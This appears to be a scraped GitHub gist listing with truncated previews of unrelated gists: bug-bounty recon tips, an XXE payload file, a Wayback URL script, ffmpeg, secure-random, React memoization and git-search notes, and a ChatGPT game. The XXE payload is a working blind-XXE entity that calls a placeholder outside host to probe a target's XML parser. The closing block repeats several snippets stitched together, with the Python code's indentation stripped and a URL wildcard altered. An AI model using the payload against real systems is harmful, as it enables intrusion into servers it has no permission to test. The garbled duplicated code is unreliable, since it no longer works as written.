Glenn 'devalias' Grant 0xdevalias

## github_bugbountyhunting.md

      
              1 file
            
          
              98 forks
            
          
              15 comments
            
          
              532 stars
            
          
                EdOverflow
                / github_bugbountyhunting.md
            
            
              Last active
              April 29, 2024 14:36
            
              
                My tips for finding security issues in GitHub projects.
              
          
    GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.
Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.
$ python githubcloner.py --org organization -o /tmp/output

  
## XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

## waybackurls.py
import requests
import sys
import json


def waybackurls(host, with_subs):
    if with_subs:
        url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
    else:
        url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host

## ffmpeg.md

      
              1 file
            
          
              19 forks
            
          
              0 comments
            
          
              94 stars
            
          
                liangfu
                / ffmpeg.md
            
            
              Created
              May 24, 2017 04:46
                — forked from protrolium/ffmpeg.md
            
              
                using ffmpeg to extract audio from video files
              
          
    ffmpeg

Converting Audio into Different Formats / Sample Rates

Minimal example: transcode from MP3 to WMA:

ffmpeg -i input.mp3 output.wma
You can get the list of supported formats with:

ffmpeg -formats
Convert WAV to MP3, mix down to mono (use 1 audio channel), set bit rate to 64 kbps and  sample rate to 22050 Hz:


## random.md

      
              1 file
            
          
              45 forks
            
          
              33 comments
            
          
              410 stars
            
          
                joepie91
                / random.md
            
            
              Last active
              April 27, 2024 22:59
            
              
                Secure random values (in Node.js)
              
          
    Not all random values are created equal - for security-related code, you need a specific kind of random value.
A summary of this article, if you don't want to read the entire thing:

Don't use Math.random(). There are extremely few cases where Math.random() is the right answer. Don't use it, unless you've read this entire article, and determined that it's necessary for your case.
Don't use crypto.getRandomBytes directly. While it's a CSPRNG, it's easy to bias the result when 'transforming' it, such that the output becomes more predictable.
If you want to generate random tokens or API keys: Use uuid, specifically the uuid.v4() method. Avoid node-uuid - it's not the same package, and doesn't produce reliably secure random values.
If you want to generate random numbers in a range: Use random-number-csprng.

You should seriously consider reading the entire article, though - it's

  
## DrawSineWave.html
<!DOCTYPE html>
<html>

<head>
    <title>Sine Wave</title>
    <script type="text/javascript">
        function showAxes(ctx,axes) {
            var width = ctx.canvas.width;
            var height = ctx.canvas.height;
            var xMin = 0;

## react-memo-children.md

      
              1 file
            
          
              3 forks
            
          
              7 comments
            
          
              123 stars
            
          
                slikts
                / react-memo-children.md
            
            
              Last active
              April 27, 2024 02:44
            
              
                Why using the `children` prop makes `React.memo()` not work
              
          
Why using the children prop makes React.memo() not work

I've recently ran into a pitfall of [React.memo()][memo] that seems generally overlooked; skimming over the top results in Google just finds it mentioned in passing in a [React issue][regit], but not in the [FAQ] or API [overview][react-api], and not in the articles that set out to explain React.memo() (at least the ones I looked at). The issue is specifically that nesting children defeats memoization, unless the children are just plain text. To give a simplified code example:
const Memoized = React.memo(({ children }) => (<div>{children}</div>));
// Won't ever re-render
<Memoized>bar</Memoized>
// Will re-render every time; the memoization does nothing

  
## advanced-memo.md

      
              1 file
            
          
              11 forks
            
          
              11 comments
            
          
              195 stars
            
          
                slikts
                / advanced-memo.md
            
            
              Last active
              April 27, 2024 02:40
            
              
                Advanced memoization and effects in React
              
          
Advanced memoization and effects in React

Memoization is a somewhat fraught topic in the React world, meaning that it's easy to go wrong with it, for example, by [making memo() do nothing][memo-pitfall] by passing in children to a component. The general advice is to avoid memoization until the profiler tells you to optimize, but not all use cases are general, and even in the general use case you can find tricky nuances.
Discussing this topic requires some groundwork about the technical terms, and I'm placing these in once place so that it's easy to skim and skip over:

Memoization means caching the output based on the input; in the case of functions, it means caching the return value based on the arguments.
Values and references are unfortunately overloaded terms that can refer to the low-level implementation details of assignments in a language like C++, for example, or to memory


## search-git-history.md

      
              1 file
            
          
              16 forks
            
          
              3 comments
            
          
              90 stars
            
          
                lyoshenka
                / search-git-history.md
            
            
              Last active
              April 26, 2024 23:16
            
              
                Search Git commit history for a string and see the diffs
              
          
    Searching Git commit history

This should be one of the core features of Git, but for some reason it's impossible to figure out how to search for a string in your commit history and see the diffs that that string is in. Here's the best I've come up with:
To find which commits and which files a string was added or removed in:
git log -S'search string' --oneline --name-status
To see the diff of that

  
## gist:5bc87fd1b1ffbf4a705047bebd9b4790
# 2023-11-27 MIT LICENSE

Here's the open source version of my ChatGPT game MonkeyIslandAmsterdam.com.

It's an unofficial image+text-based adventure game edition of Monkey Island in Amsterdam, my home town.

Please use it however you want. It'd be nice to see more ChatGPT-based games appear from this. If you get inspired by it, please link back to my X https://x.com/levelsio or this Gist so more people can do the same!

Send me your ChatGPT text adventure game on X, I'd love to try it!
	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>
	import requests
	import sys
	import json


	def waybackurls(host, with_subs):
	if with_subs:
	url = 'http://web.archive.org/cdx/search/cdx?url=.%s/&output=json&fl=original&collapse=urlkey' % host
	else:
	url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
	<!DOCTYPE html>
	<html>

	<head>
	<title>Sine Wave</title>
	<script type="text/javascript">
	function showAxes(ctx,axes) {
	var width = ctx.canvas.width;
	var height = ctx.canvas.height;
	var xMin = 0;
	# 2023-11-27 MIT LICENSE

	Here's the open source version of my ChatGPT game MonkeyIslandAmsterdam.com.

	It's an unofficial image+text-based adventure game edition of Monkey Island in Amsterdam, my home town.

	Please use it however you want. It'd be nice to see more ChatGPT-based games appear from this. If you get inspired by it, please link back to my X https://x.com/levelsio or this Gist so more people can do the same!

	Send me your ChatGPT text adventure game on X, I'd love to try it!